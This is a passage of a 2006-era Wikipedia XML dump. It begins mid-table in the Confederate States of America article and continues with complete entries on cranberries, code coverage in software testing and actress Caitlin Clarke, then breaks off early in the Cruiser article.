| [[November 16]], [[1874]]
|-
| style=&quot;text-align:left;&quot; | [[Georgia (U.S. state)|Georgia]]
|align=&quot;center&quot;|{{flagicon|USA-GA}}
| [[January 19]], [[1861]]
| [[February 4]], [[1861]]
| [[July 15]], [[1870]]
| [[November 1]], [[1871]]
|-
| style=&quot;text-align:left;&quot; | [[Louisiana]]
|align=&quot;center&quot;|{{flagicon|USA-LA}}
| [[January 26]], [[1861]]
| [[February 4]], [[1861]]
| [[July 4]], [[1868]]
| [[January 2]], [[1877]]
|-
| style=&quot;text-align:left;&quot; | [[Texas]]
|align=&quot;center&quot;|{{flagicon|USA-TX}}
| [[February 1]], [[1861]]
| [[March 2]], [[1861]]
| [[March 30]], [[1870]]
| [[January 14]], [[1873]]
|-
| style=&quot;text-align:left;&quot; | [[Virginia]]
|align=&quot;center&quot;|{{flagicon|USA-VA}}
| [[April 17]], [[1861]]
| [[May 7]], [[1861]]
| [[January 26]], [[1870]]
| [[October 5]], [[1869]]
|-
| style=&quot;text-align:left;&quot; | [[Arkansas]]
|align=&quot;center&quot;|{{flagicon|USA-AR}}
| [[May 6]], [[1861]]
| [[May 18]], [[1861]]
| [[June 22]], [[1868]]
| [[November 10]], [[1874]]
|-
| style=&quot;text-align:left;&quot; | [[North Carolina]]
|align=&quot;center&quot;|{{flagicon|USA-NC}}
| [[May 20]], [[1861]]
| [[May 16]], [[1861]]
| [[July 4]], [[1868]]
| [[February 2]], [[1871]]
|-
| style=&quot;text-align:left;&quot; | [[Tennessee]]
|align=&quot;center&quot;|{{flagicon|USA-TN}}
| [[June 8]], [[1861]]
| [[May 16]], [[1861]]
| [[July 24]], [[1866]]
| [[October 4]], [[1869]]
|-
| style=&quot;text-align:left;&quot; | [[Missouri]] &lt;small&gt;(legally elected government)&lt;/small&gt;
|align=&quot;center&quot;|{{flagicon|USA-MO}}
| [[October 31]], [[1861]]
| [[August 19]], [[1861]]
| n/a
| n/a
|-
| style=&quot;text-align:left;&quot; | [[Arizona]] &lt;small&gt;([[Mesilla, New Mexico|Mesilla]] government)&lt;/small&gt;
|align=&quot;center&quot;|{{flagicon|USA-AZ}}
| [[March 16]], [[1861]]
| [[February 14]], [[1862]]
| n/a
| [[Battle of Glorieta Pass|March 28, 1862]]
|-
| style=&quot;text-align:left;&quot; | [[Kentucky]] &lt;small&gt;([[Russellville, Missouri|Russellville]] government)&lt;/small&gt;
|align=&quot;center&quot;|{{flagicon|USA-KY}}
| [[November 20]], [[1861]]
| [[December 10]], [[1862]]
| n/a
| n/a
|}

NOTE: According to the ''New York Public Library Desk Reference'', [[Alabama]], [[Florida]], [[Georgia (U.S. state)|Georgia]], [[Louisiana]], [[North Carolina]] and [[South Carolina]] were all readmitted [[June 25]], [[1868]], and Georgia was readmitted a second time on [[July 15]], [[1870]].

==See also==
*[[New Confederacy]]
*[[League of the South]]
*[[Nullification Crisis|Nullification Crisis of 1832]]
*[[Flags of the Confederate States of America]]
*[[Confederate Seal|Seal of the Confederate States of America]]
*[[Military history of the Confederate States]]
*[[Stamps and postal history of the Confederate States]]
*[[Origins of the American Civil War]]
*[[American Civil War]]
*[[Border states (Civil War)|Border states]]
*[[Southern United States]]
*[[History of the Southern United States]]
*[[Slavery]]
*[[Slave state]]
*[[Robert E. Lee]]
*[[Federalism]]
*[[Confederation]]

==References==
* Richard N. Current, ed. ''Encyclopedia of the Confederacy'' (4 vol 1993), 1900 pp; articles by scholars
* Faust, Patricia L. ed, ''Historical Times Illustrated Encyclopedia of the Civil War'' (1986)
* David S. Heidler et al. ''Encyclopedia of the American Civil War : A Political, Social, and Military History'' (2002), 2400 pages (ISBN: 039304758X) 
* [http://www.questia.com/PM.qst?a=o&amp;d=14877569 Steven E. Woodworth, ed. ''The American Civil War: A Handbook of Literature and Research'' (1996)] 750 pages of historiography and bibliography
--------------
===Economic &amp; Social History===
* Ball Douglas B. ''Financial Failure and Confederate Defeat''.1991.
* [http://www.questia.com/PM.qst?a=o&amp;d=55542676 Robert C. Black III, ''The Railroads of the Confederacy'' (1998)]
*  Clinton Catherine, and Nina Silber, eds. ''Divided Houses: Gender and the Civil War'' 1992.
* [http://www.questia.com/PM.qst?a=o&amp;d=96825943 Drew Gilpin Faust, ''Mothers of Invention: Women of the Slaveholding South in the American Civil War'' (1996)]
* Drew Gilpin Faust,  ''The Creation of Confederate Nationalism: Ideology and Identity in the Civil War South''. 1988.
* Mark Grimsley. ''The Hard Hand of War: Union Military Policy toward Southern Civilians, 1861-1865'' 1995. 
* Perry Carlton Lentz, ''Our Missing Epic: A Study in the Novels 
about the American Civil War'' (1970)
* Mary Elizabeth Massey. ''Bonnet Brigades: American Women and the Civil War''. 1966.
* Mary Elizabeth Massey. ''Ersatz in the Confederacy'' 1952.
* Mary Elizabeth Massey. ''Refugee Life in the Confederacy''  1964.
* Rable George C. ''Civil Wars: Women and the Crisis of Southern Nationalism'' 1989.
* Ramsdell Charles. ''Behind the Lines in the Southern Confederacy''. 1944. 
*  Roark James L. ''Masters without Slaves: Southern Planters in the Civil War and Reconstruction'' 1977.
* Anne Sarah Rubin, ''A Shattered Nation: The Rise and Fall of the Confederacy, 1861-1868'' (2005), a cultural study of Confedeates' self images. 
* James L. Sellers,  &quot;The Economic Incidence of the Civil War in the South.&quot; ''Mississippi Valley Historical Review'' 14 (1927): 179-191. in JSTOR
* Emory M. Thomas,  ''The Confederacy as a Revolutionary Experience''. 1992.
* Peter Wallenstein . &quot;Rich Man's War, Rich Man's Fight: Civil War and the Transformation of Public Finance in Georgia.&quot; ''Journal of Southern History'' 50 (1984): 15-43. in JSTOR
* Bell Irwin Wiley. ''Confederate Women'' 1975.
* Bell Irwin Wiley. ''The Plain People of the Confederacy'' 1944.
* C. Vann Woodward , ed. ''Mary Chesnut's Civil War'' 1981.

===Politics===
*  Alexander Thomas B., and Richard E. Beringer. ''The Anatomy of the Confederate Congress: A Study of the Influences of Member Characteristics on Legislative Voting Behavior, 1861-1865'' 1972.
* [http://www.questia.com/PM.qst?a=o&amp;d=24351427 Gabor S. Boritt, et al, ''Why the Confederacy Lost'' (1992)]
* William J. Cooper, ''Jefferson Davis, American'' (2000), standard biography
*  E. Merton Coulter . ''The Confederate States of America, 1861-1865''. 1950.
* {{cite book | author=William C. Davis | title=Look Away! A History of the Confederate States of America | publisher=New York: Free Press | year=2003 | id=ISBN 0-684-86585-8}}
*  Clement Eaton . ''A History of the Southern Confederacy'' 1954.
* [http://www.questia.com/PM.qst?a=o&amp;d=1258658 H. J. Eckenrode, ''Jefferson Davis: President of the South'' (1923)]
* Gary W. Gallagher, ''The Confederate War'' (1999)
* [http://www.questia.com/PM.qst?a=o&amp;d=29306356 Mark E. Neely Jr., ''Confederate Bastille: Jefferson Davis and Civil Liberties'' (1993)]
*  Rembert W. Patrick. ''Jefferson Davis and His Cabinet''.1944.
* [http://www.questia.com/PM.qst?a=o&amp;d=10417084 George C. Rable, ''The Confederate Republic: A Revolution against Politics'' (1994)]
*  Charles P. Roland. ''The Confederacy'' 1960. brief
* Emory M. Thomas, ''Confederate Nation: 1861-1865'' (1979) standard political-economic-social history
* [http://www.questia.com/PM.qst?a=o&amp;d=14550494 Wilfred Buck Yearns, ''The Confederate Congress'' (1960)]0
* Jon L. Wakelyn: ''Biographical Dictionary of the Confederacy'' Greenwood Press ISBN 0-8371-6124-X

===Primary Sources===
* [http://www.questia.com/PM.qst?a=o&amp;d=10434945 Jefferson Davis, ''The Rise and Fall of the Confederate Government - Vol. 1'' (1881)]
* [http://www.questia.com/PM.qst?a=o&amp;d=13580975 Richard B. Harwell, ''The Confederate Reader'' (1957)]
*  Jones John B. ''A Rebel War Clerk's Diary at the Confederate States Capital''. Edited by Howard Swiggert. 1935. 2 vols. 1993.
* [http://www.questia.com/PM.qst?a=o&amp;d=51247215 W. Buck Yearns and John G. Barret,eds. ''North Carolina Civil War Documentary'' (1980)]
* Jon L. Wakelyn, ed. ''Southern Pamphlets on Secession, November 1860-April 1861'' (1996) [http://www.questia.com/PM.qst?a=o&amp;d=99424913 Online]
* [http://docsouth.unc.edu/imls/index.html online publications from Confederacy] 400 maps, books, pamphlets, plus manuscripts

==External links==
{{commons|Confederate States of America}}
*[http://politicalgraveyard.com/offices/confed1.html#ZY4102y1862 Confederate offices 
Index of Politicians by Office Held or Sought]
*Civil War Research &amp; Discussion Group - [http://groups.yahoo.com/group/FieldsOfConflict/  Fields Of Conflict] - Containing 1000+ Links And 350+ Articles.
*[http://www.yale.edu/lawweb/avalon/csa/scarsec.htm''Declaration of the Immediate Causes Which Induce and Justify the Secession of South Carolina from the Federal Union''], 1860, South Carolina's Declaration of Independence
*[http://fax.libs.uga.edu/JK9708x1864/ ''An Act to Prohibit the Importation of Luxuries, or of Articles not Necessary or of Common Use''], 1864, a Confederate Congress document
*[http://fax.libs.uga.edu/canu/ ''Confederate States of Am. Army and Navy Uniforms''], 1861
*[http://fax.libs.uga.edu/AP2xC84/ ''The Countryman'', 1862-1866], published weekly by Turnwold, Ga., edited by J.A. Turner
*[http://fax.libs.uga.edu/ccsus/ ''The Federal and the Confederate Constitution Compared'']
*[http://fax.libs.uga.edu/F206xS727xv9/ ''The Making of the Confederate Constitution''], by A. L. Hull, 1905.
*[http://fax.libs.uga.edu/JK4725x1861xA25/ ''Official Journal of the House of Representatives of the State of Louisiana''], November, 1861
*[http://fax.libs.uga.edu/E468x7xM647/ ''Photographic History of the Civil War'', 10 vols., 1912.]
*[http://www.state.gov/r/pa/ho/time/cw/17609.htm Preventing Diplomatic Recognition of the Confederacy]
*[http://docsouth.unc.edu/index.html DocSouth: Documenting the American South] - numerous online text, image, and audio collections.
*[http://www.archontology.org/nations/csa/ Confederate States of America: Heads of State: 1861-1865]
*[http://docsouth.unc.edu/moore1/moore1.html ''The Geographical Reader for the Dixie Children''] - a Confederacy textbook written in 1863.

[[Category:Confederate States of America| ]]

[[ca:Estats Confederats d'Amèrica]]
[[da:Amerikas Konfødererede Stater]]
[[de:Konföderierte Staaten von Amerika]]
[[et:Ameerika Riikide Konföderatsioon]]
[[es:Estados Confederados de América]]
[[eo:Konfederaciitaj Ŝtatoj de Ameriko]]
[[fr:États confédérés d'Amérique]]
[[hr:Konfederativne Države Amerike]]
[[he:קונפדרציית המדינות של אמריקה]]
[[nl:Geconfedereerde Staten van Amerika]]
[[ja:アメリカ連合国]]
[[no:Amerikas konfødererte stater]]
[[nn:Confederate States of America]]
[[pl:Skonfederowane Stany Ameryki]]
[[pt:Estados Confederados da América]]
[[ru:Конфедеративные штаты Америки]]
[[sr:Конфедеративне Америчке Државе]]
[[fi:Etelävaltiot]]
[[sv:Amerikas konfedererade stater]]
[[zh:美利堅聯盟國]]</text>
    </revision>
  </page>
  <page>
    <title>Cranberry</title>
    <id>7025</id>
    <revision>
      <id>42037111</id>
      <timestamp>2006-03-03T10:37:19Z</timestamp>
      <contributor>
        <username>MPF</username>
        <id>38759</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.126.32.112|24.126.32.112]] ([[User talk:24.126.32.112|talk]]) to last version by Cheftarashetty</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Cranberry
| image = Cranberry bog.jpg
| image_width = 200px
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = [[Ericales]]
| familia = [[Ericaceae]]
| genus = ''[[Vaccinium]]''
| subgenus = ''Oxycoccus''
| subdivision_ranks = Species
| subdivision = 
''Vaccinium macrocarpon''&lt;br/&gt;
''Vaccinium microcarpum''&lt;br/&gt;
''Vaccinium oxycoccus''
}}

The '''cranberries''' are a group of [[evergreen]] dwarf [[shrub]]s in the genus '''''[[Vaccinium]]''''' subgenus '''''Oxycoccus''''', or in some treatments, in the distinct genus '''''Oxycoccus'''''. They are found in [[acid]]ic [[bog]]s throughout the cooler parts of the [[Northern Hemisphere]]. Cranberries are low, creeping shrubs to 10&amp;nbsp;cm tall (often less), with slender, wiry stems, not thickly woody, and small [[evergreen]] leaves. The [[flower]]s are dark pink, with very distinct ''reflexed'' [[petal]]s, leaving the style and stamens fully exposed and pointing forward. The fruit is a [[berry]] that is larger than the leaves of the plant. It is initially white, but turns a deep red when fully ripe.

The name cranberry probably derives from their being a favourite food of [[Crane (bird)|cranes]], though some sources claim the name comes from &quot;'craneberry' because before the flower expands, its stem, calyx, and petals resembled the neck, head, and bill of a crane&quot;. Another name, used in northeastern Canada, is '''mossberry'''.

There are four species of cranberry:
*''Vaccinium oxycoccus'' or ''Oxycoccus palustris'' ('''Common Cranberry''' or '''Northern Cranberry''') is widespread throughout the cool temperate [[Northern Hemisphere]], including northern [[Europe]], northern [[Asia]] and northern [[North America]]. It has small 5-10 mm leaves. The flowers are dark pink, with a purple central spike, produced on finely hairy stems. The fruit is a small pale pink [[berry]], with a refreshing sharp acidic flavour.
*''Vaccinium microcarpum'' or ''Oxycoccus microcarpus'' ('''Small Cranberry''') occurs in northern Europe and northern Asia, and differs from ''V. oxycoccus'' in the leaves being more triangular, and the flower stems hairless.
*''Vaccinium macrocarpon'' or ''Oxycoccus macrocarpus'' ('''American Cranberry''') native to the north-eastern part of the [[North America]]n continent (eastern [[Canada]], and eastern [[United States]] south to [[North Carolina]]). It differs from ''V. oxycoccus'' in the leaves being larger, 10-20 mm long, and in its slightly appleish taste.
*''Vaccinium erythrocarpum'' or ''Oxycoccus erythrocarpus'' ([[Southern Mountain Cranberry]]) native to the south-eastern part of the [[North America]]n continent at high altitudes in the southern [[Appalachian Mountains]].

[[Image:Cranberrymap.jpg|thumb|250px|left|Approximate ranges of the cranberries: Red: Common Cranberry. Orange: Small Cranberry. Green: American Cranberry.]]
The cranberries are related to the [[bilberry|bilberries]], [[blueberry|blueberries]], and [[huckleberry|huckleberries]], all in ''Vaccinium'' subgenus ''Vaccinium''. These differ in having stouter, woodier stems forming taller shrubs, and in the bell-shaped flowers, the petals not being reflexed.

Some plants of the completely unrelated genus ''[[Viburnum]]'' are sometimes inaccurately called &quot;highbush cranberries&quot;.

Cranberries from Massachusetts and New Jersey are susceptible to false blossom, a harmful but controllable virus disease.

==History==
[[Image:Jonathan eastman johnson cranberry harvest.jpg|thumb|''The Cranberry Harvest on the Island of [[Nantucket, Massachusetts|Nantucket]]'', [[Eastman Johnson]], 1880.]]
Cranberries have been eaten by [[Arctic]] peoples for millennia and remain a very popular fruit for wild harvesting in the [[Nordic countries]] and [[Russia]]. In [[Scotland]] the berries were formerly wild harvested but with the loss of suitable habitat, the plants have become so scarce that this is no longer done. In [[North America]], [[Indigenous peoples of the Americas|Native Americans]] were the first to recognise and use the cranberry as a source of food. Some tribes called the red berries '''Sassamanash'''. They are reported to have introduced the cranberry to starving English settlers in [[Massachusetts]] around 1620, who incorporated the berry into the traditional [[Thanksgiving]] feast. [[American Revolutionary War]] veteran [[Henry Hall]] is alleged to be the first to cultivate the cranberry commercially, in the [[Cape Cod]] town of [[Dennis (town), Massachusetts|Dennis]] around [[1816]].

==Cultivation and uses==
[[Image:Cranberrys beim Ernten.jpeg|thumb|left|Cranberry harvest in New Jersey]]
Cranberries are major crops in [[Massachusetts]], [[Wisconsin]], and [[New Jersey]]. Commercial cranberry fields today are diked so they may be flooded. When the berries are ripe, they float, making harvesting a matter of flooding the field, shaking the bushes a bit, and skimming off the berries into waiting trucks. Various mechanisms have been used through the years to &quot;shake&quot; the bushes, including a 2005 innovation that reduces bush damage and increases yield.

Usually cranberries as fruit are served as a [[compote]] or [[jelly]], often known generically as [[cranberry sauce]]. Such preparations are traditionally served with roast [[Turkey (bird)|turkey]] meat. The berry is also used in baking ([[muffin]]s and [[cake]]s) but, unlike many other berries, is normally considered too sharp to be eaten unaccompanied. 

Cranberry juice, usually sweetened to reduce its natural severe tartness and make &quot;cranberry juice cocktail&quot; or blended with other fruit juices, is a major use of cranberries.

There is some use of cranberry juice by people with [[spinal paralysis]]; regular consumption of the juice is supposed to reduce the rate of [[urinary tract infection]]s. While much of the evidence is equivocal, a number of [[double-blind]] [[clinical trial]]s have been carried out that suggest there actually is an effect: a component of the juice appears to competitively inhibit bacterial attachment to the [[bladder]] and [[urethra]].

An Autumn 2004 caution from the [[Committee on Safety of Medicines]] (the UK agency dealing with drug safety) advises patients that are taking the medication [[warfarin]] to stay off cranberry juice after adverse effects were reported.

==External links==
{{cookbook}}
* [http://www.mhra.gov.uk/home/idcplg?IdcService=GET_FILE&amp;dDocName=CON007448&amp;RevisionSelectionMethod=LatestReleased  October 2004 &quot;Current Problems in Pharmacovigilance&quot; (pdf file)] - has warfarin and cranberry juice caution, p. 10.
* [http://carecure.org/index.php?page=viewarticle&amp;afile=0007@7_November_2001@Cranberry_UTI.htm 2001 review] of evidence for therapeutic effects of cranberry juice
* [http://www.pubmedcentral.nih.gov/articlerender.fcgi?tool=pubmed&amp;pubmedid=2653218 1989 study] of cranberry juice's possible role in inhibiting bacterial adherence to bladder cells
* [http://www.cranberryinstitute.org The Cranberry Institute] for information on cranberry's health benefits.
* [http://www.kallipolis.com/diet/food.php?id=16019 Nutrition information for cranberries]
* [http://www.oohoi.com/natural%20remedy/everyday_food/Cranberries.htm Benefits of Cranberries]

[[Category:Ericaceae]]
[[Category:Fruit]]

[[da:Tranebær (Vaccinium oxycoccus)]]
[[de:Moosbeeren]]
[[fr:Canneberge]]
[[he:חמוציות]]
[[ko:넌출월귤]]
[[nl:Cranberry]]
[[ja:クランベリー]]
[[pl:Żurawina błotna]]
[[fi:Isokarpalo]]
[[sv:Tranbär]]</text>
    </revision>
  </page>
  <page>
    <title>Code coverage</title>
    <id>7030</id>
    <revision>
      <id>40716666</id>
      <timestamp>2006-02-22T14:57:26Z</timestamp>
      <contributor>
        <username>Auteurs</username>
        <id>974159</id>
      </contributor>
      <text xml:space="preserve">'''Code coverage''' is a measure used in [[software testing]].  It describes the degree to which the [[source code]] of a [[computer program|program]] has been tested.  It is a form of testing that looks at the code directly and as such comes under the heading of [[white box testing]].

Code coverage techniques were amongst the first techniques invented for systematic software testing.  The first published reference was by Miller and Maloney in ''Communications of the [[Association for Computing Machinery|ACM]]'' in 1963.

There are a number of different ways of measuring code coverage, the main ones being:
*''Statement Coverage'' - Has each line of the source code been executed and tested?
*''Condition Coverage'' - Has each evaluation point (such as a true/false decision) been executed and tested?
*''Path Coverage'' - Has every possible route through a given part of the code been executed and tested? 

[[safety critical|Safety critical]] applications are often required to demonstrate that testing achieves 100% of some form of code coverage.

Some of the coverage criteria above are connected; for instance, path coverage implies both condition and statement coverage.  Statement coverage does ''not'' imply condition coverage, as the code (in the [[C programming language]]) below shows:
 
 void foo(int bar)
 {
    printf(&quot;this is&quot;); 
    if (bar &lt; 1)
    {
       printf(&quot;not &quot;);
    }
    printf(&quot;a positive integer&quot;);
  return;
 }

If the function &quot;foo&quot; was called with variable &quot;bar = -1&quot;, statement coverage would be achieved.  Condition coverage, however, would not.  

Full path coverage, of the type described above, is usually impractical or impossible.  Any module with a succession of &lt;math&gt;n&lt;/math&gt; decisions in it can have up to &lt;math&gt;2^n&lt;/math&gt; paths within it; loop constructs can result in an infinite number of paths.  Many paths may also be infeasible, in that there is no input to the program under test that can cause that particular path to be executed.  However, a general-purpose algorithm for identifying infeasible paths has been proven to be impossible (such an algorithm could be used to solve the [[halting problem]]).  Techniques for practical path coverage testing instead attempt to identify classes of code paths that differ only in the number of loop executions, and to achieve &quot;basis path&quot; coverage the tester must cover all the path classes.  

Usually the source code is instrumented and run through a series of tests. The resulting output is then analysed to see what areas of code have not been exercised, and the tests are updated to include these areas as necessary. Combined with other code coverage methods the aim is to develop a rigorous yet manageable set of regression tests.

Code coverage is ultimately expressed as a percentage, as in &quot;We have tested 67% of the code&quot;.  The meaning of this depends on what form(s) of code coverage have been used, as 67% path coverage is more comprehensive than 67% statement coverage.

The value of code coverage as a measure of test quality is debated (see external links).

== See also ==
* [[Software metric]]
* [[Regression testing]]
* [[Static code analysis]]
* [[White box testing]]

== External links ==
* [http://www.bullseye.com/coverage.html Code Coverage Analysis]
* [http://www.javaranch.com/newsletter/200401/IntroToCodeCoverage.html Introduction to Code Coverage]
* [http://www-128.ibm.com/developerworks/java/library/j-cq01316/?ca=dnw-704 Don't be fooled by the coverage report]
* [http://auteurs.blog-city.com/coverage_tools_reduces_test_quality.htm  Why coverage tools will reduce your test quality]
* Tools:
** [http://gcc.gnu.org/onlinedocs/gcc/Gcov-Intro.html gcov - a GNU Test Coverage Program]
** [http://www.digitalmars.com/d/code_coverage.html D programming language code coverage analysis tool]
** [http://emma.sourceforge.net/ EMMA, a tool for code coverage in Java]
** [http://www.ncover.org/ NCover, a tool for testing code coverage on the .NET runtime]

[[Category:Software testing]]
[[Category:Software metrics]]

[[de:Testabdeckung]]
[[fr:Couverture de code]]
[[ru:Покрытие кода]]</text>
    </revision>
  </page>
  <page>
    <title>Charles Xavier Joseph De Franque Ville Abancourt</title>
    <id>7032</id>
    <revision>
      <id>15905133</id>
      <timestamp>2002-09-13T14:18:49Z</timestamp>
      <contributor>
        <ip>62.253.64.7</ip>
      </contributor>
      <minor />
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[Charles d'Abancourt]]</text>
    </revision>
  </page>
  <page>
    <title>Caitlin Clarke</title>
    <id>7033</id>
    <revision>
      <id>38828817</id>
      <timestamp>2006-02-08T22:34:35Z</timestamp>
      <contributor>
        <username>Krash</username>
        <id>219529</id>
      </contributor>
      <minor />
      <comment>/* Film */ [[Penn &amp; Teller Get Killed]]</comment>
      <text xml:space="preserve">'''Caitlin Clarke''' ([[May 3]], [[1952]] - [[September 9]], [[2004]]) was an [[United States|American]] [[theater]] and [[film]] [[actor|actress]]. She was best known for her role of Valerian in the [[1981]] fantasy film ''[[Dragonslayer]]'', and for her role of '''Charlotte Cardoza''' in the [[1998]]-[[1999]] [[Broadway_theater|Broadway]] [[musical theater|musical]] ''[[Titanic (musical)|Titanic]]''.

==Biography==
Clarke was born '''Katherine Anne Clarke''' in [[Pittsburgh]]. received her B.A. in theater from [[Mount Holyoke College]] in 1974 and M.F.A. from the [[Yale School of Drama]] in 1978 (where during her final year she performed with the [[Yale Repertory Theater]]).  

The first few years of Clarke's professional career were almost completely theatrical; yet these were when she played the role for which she is best known, as Valerian in the [[1981]] [[Paramount Pictures|Paramount]]/[[Walt Disney Pictures|Disney]] film ''[[Dragonslayer]]''.  After appearing in three [[Broadway_theater|Broadway]] plays in [[1985]], Clarke moved to [[Los Angeles]] for several years as a [[film]] and [[television]] actress.  She returned to [[theater]] in the early 1990's, and to [[Broadway_theater|Broadway]] as Charlotte Cardoza in ''[[Titanic (musical)|Titanic]]''.  

Clarke was diagnosed with [[ovarian cancer]] in [[2000]]. She returned to [[Pittsburgh]] to teach [[theater]] at the [[University of Pittsburgh]] and at a local [[conservatory]] until her death in [[2004]] at age 52.

==Stage==
===Broadway===
* ''Titanic: A New Musical'' ([[1998]])
* ''The Marriage of Figaro'' ([[1985]])
* ''Arms and the Man'' ([[1985]])
* ''Strange Interlude'' ([[1985]])
* ''Teaneck Tanzi: The Venus Flytrap'' ([[1983]])

===Off-Broadway===
* ''Three Birds Alighting On A Field'' ([[1994]])
* ''Unexpected Tenderness'' ([[1994]])
* ''Quartermaine's Terms'' ([[1984]])
* ''Thin Ice'' ([[1984]])
* ''Total Eclipse'' ([[1984]])
* ''Summer'' ([[1983]])
* ''No End of Blame'' ([[1981]])
* ''Othello'' ([[1979]])

===Regional===
* ''The Gigli Concert'' (Pittsburgh, [[2002]])
* ''Aristocrats'' (Pittsburgh, [[2002]])
* ''Who's Afraid of Virginia Woolf'' (Rochester, NY, [[2000]])
* ''Griller'' (Baltimore, [[1999]])
* ''Indiscretions'' (Dallas, [[1997]])
* ''The Glass Menagerie'' (Portland, Maine, [[1997]])
* ''Mrs. Warren's Profession'' (New Haven, [[1996]])
* ''The Queen And The Rebels'' (Baltimore, [[1991]])
* ''Our Country's Good'' (Los Angeles, [[1989]])
* ''Not Quite Jerusalem'' (New Haven, [[1984]])
* ''As You Like It'' (San Diego, [[1984]])
* ''Summer Vacation Madness'' (Minneapolis, [[1982]])
* ''Plenty'' (Chicago, [[1981]])
* ''Bal'' (Chicago, [[1980]])
* ''The Winter's Tale'' (Washington, [[1979]])
* ''Tales From The Vienna Woods'' (New Haven, [[1978]])

==Film==
* ''Never Again'' ([[2002]])
* ''Joe The King'' ([[1998]])
* ''Cost of Living'' ([[1997]])
* ''A Cure For Serpents'' ([[1997]])
* ''Blown Away'' ([[1994]])
* ''The Big Picture'' ([[1989]])
* ''[[Penn &amp; Teller Get Killed]]'' ([[1989]])
* ''Kenny'' (aka ''The Kid Brother'') ([[1985]])
* ''[[Crocodile Dundee]]'' ([[1983]])
* ''[[Dragonslayer]]'' ([[1981]])

==Television==
'''Series''': ''[[Northern Exposure]]'', ''The Equalizer'', ''Once A Hero'', ''[[Moonlighting]]'', ''Sex And The City'', ''[[Law &amp; Order]]'' (&quot;Menace&quot;, &quot;Juvenile&quot;, &quot;Stiff&quot;).
'''Movies''': ''[[Mayflower Madam]]'' ([[1986]]), ''Love, Lies and Murder'' ([[1991]]), ''The Stepford Husbands'' ([[1996]]).

==External links==
*{{imdb|name=Caitlin Clarke|id=0164680}}
*[http://www.dysmey.org/cc/index.html The Caitlin Clarke Page]
*[http://www.post-gazette.com/pg/04257/378123.stm Obituary (Pittsburgh Post-Gazette)]
*[http://www.einsiders.com/features/columns/sept04obituaries.php Obituary page]

[[Category:1952 births|Clarke, Caitlin]]
[[Category:2004 deaths|Clarke, Caitlin]]
[[Category:American film actors|Clarke, Caitlin]]
[[Category:American stage actors|Clarke, Caitlin]]
[[Category:American television actors|Clarke, Caitlin]]</text>
    </revision>
  </page>
  <page>
    <title>Cruiser</title>
    <id>7034</id>
    <revision>
      <id>41670468</id>
      <timestamp>2006-02-28T23:35:31Z</timestamp>
      <contributor>
        <username>TheFEARgod</username>
        <id>381244</id>
      </contributor>
      <minor />
      <comment>+sr</comment>
      <text xml:space="preserve">{{Otheruses}}

[[Image:USS Port Royal CG-73.jpg|right|thumb|300px|[[USS Port Royal (CG-73)|USS ''Port Royal'']] (CG-73), a [[Ticonderoga class cruiser|''Ticonderoga''-class]] [[guided missile]] cruiser, launched in [[1992]].]]

In military terminology, a '''cruiser''' is a large [[warship]] capable of engaging multiple targets simultaneously. Historically they were generally considered the smallest ships capable of independent operations &amp;mdash; [[destroyer]]s usually requiring outside support such as [[ship's tender|tenders]] &amp;mdash; but in modern parlance this difference has disappeared.  In modern warfare the cruiser has virtually disappeared, supplanted in all roles by the destroyer.

==History==
The term &quot;cruiser&quot; was a mid [[19th century]] invention. During the age of sail, [[frigate]]s were small, fast, long range, lightly armed (single gun-deck) ships used for scouting and carrying dispatches. The majority of the fleet would be made up of much larger and slower [[ship of the line|ships of the line]], which were expected to deal with fleet combat that the frigates would avoid. The first [[ironclad]]s also had only a single gun-deck because of the weight of armor, even though they were bigger ships with bigger guns. They were nevertheless referred to as frigates although they were used as ships of the line. Thus the definition of a frigate changed, the smaller ships originally using this term were now referred to as &quot;cruising ships&quot;, which was rapidly abbreviated to cruiser.

For many years cruisers filled a [[sweet spot]] between very light craft such as the [[torpedo boat]], and the ships intended to take part in fleet combat, later generally referred to as [[battleship]]s. Cruisers were large enough to fend off attacks from smaller surface ships and self-sufficient enough to roam far from their home bases. Battleships were more powerful in combat, but so slow and (after the introduction of increased engine power), so fuel hungry that long-range operations were difficult. For much of 19th century and the first half of the [[20th century|20th]], the cruiser was a navy's long-range &quot;force projection&quot; weapon, while the larger ships stayed nearer to home. Their main role was to attack enemy [[merchant marine|merchant vessels]], so much so that this task came to be called ''cruiser warfare''.  Cruisers were strongly optimized for high speed: the sleek, streamlined hull that best supported these speeds was long and narrow, finely and smoothly tapered at both bow and stern for minimal turbulence in their hydrodynamic flow, giving rise to the term &quot;cruiser hull&quot; to describe it (while battleships tended also to be very long, they were also very broad, in order to provide the most possible buoyancy and stability for their big guns).

The British [[Royal Navy]], with maritime responsibilities in almost all the major oceans of the world, from Canada to Australia, was particularly fond of cruisers. A large cruiser fleet allowed the Royal Navy to patrol large swathes of ocean at a reasonable cost. When the cruisers spotted enemy threats, they would either shadow the threat and lead heavy capital units to it or attack it in large numbers. For example, the heavy cruisers [[HMS Norfolk|HMS ''Norfolk'']] and [[HMS Suffolk|''Suffolk'']] shadowed the [[German battleship Bismarck]] until British battleships and aircraft carriers could intercept and sink her. Against the German [[pocket battleship]] (heavy cruiser) [[German pocket battleship Admiral Graf Spee|Graf Spee]] one heavy and two light British cruisers were able to split the fire of her heavier guns and although damaged, trail her to port where she was subsequently scuttled rather than risk battle again.

Cruisers were also attached to the main battlefleet and used for [[reconnaissance]], sweeping ahead of the fleet looking for the enemy.

[[Image:SMS Emden.jpg|thumb|220px|right|The German [[light cruiser]] [[SMS Emden|SMS ''Emden'']], launched in [[1908]].]]

The evolution of the cruiser follows that of their larger cousins, generally growing in size and capability. The conversion from sail to steam resulted in the [[armored cruiser]], essentially a small and faster battleship. This occurred so rapidly during the late 19th century battleships only a few years old could be outperformed by cruisers of the next building run. The United States' [[Great White Fleet]] was rendered obsolete in this fashion only a few years after it sailed. During this period it was not uncommon for fleets to contain the very latest of an older generation as well as the latest designs, which were generally much larger.

